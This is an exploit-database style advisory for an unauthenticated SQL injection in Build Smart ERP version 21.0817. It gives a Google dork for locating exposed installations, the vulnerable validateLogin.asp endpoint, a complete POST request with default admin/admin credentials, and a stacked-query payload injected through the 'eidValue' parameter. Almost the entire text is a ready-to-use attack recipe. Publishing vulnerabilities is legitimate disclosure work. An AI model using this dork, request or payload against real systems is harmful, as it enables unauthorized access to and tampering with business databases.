Build Smart ERP 21.0817 eidValue SQL Injection

# Exploit Title: Build Smart ERP 21.0817 - 'eidValue' SQL Injection (Unauthenticated)
# Date: 24/10/2021
# Exploit Carry: reisci
# Vendor Homepage: https://ribccs.com/solutions/solution-buildsmart
# Version: 21.0817
# From: reisci
# Google Dorks: intitle:buildsmart accounting
# Tested on: OS - Windows 2012 R2 or 8.1 & Database - Microsoft SQL Server 2014


Exploit Details:

URL: https://example.com/acc/validateLogin.asp?SkipDBSetup=NO&redirectUrl=

*HTTP Method:* POST *

POST DATA:*

VersionNumber=21.0906&activexVersion=3%2C9%2C0%2C0&XLImportCab=1%2C21%2C0%2C0&updaterActivexVersion=4%2C19%2C0%2C0&lang=eng&rptlang=eng&loginID=admin&userPwd=admin&EID=company&eidValue=company&userEmail=


Vulnerable Parameter: eidValue

SQL Injection Type: Stacked queries

Payload: ';WAITFOR DELAY '0:0:3'--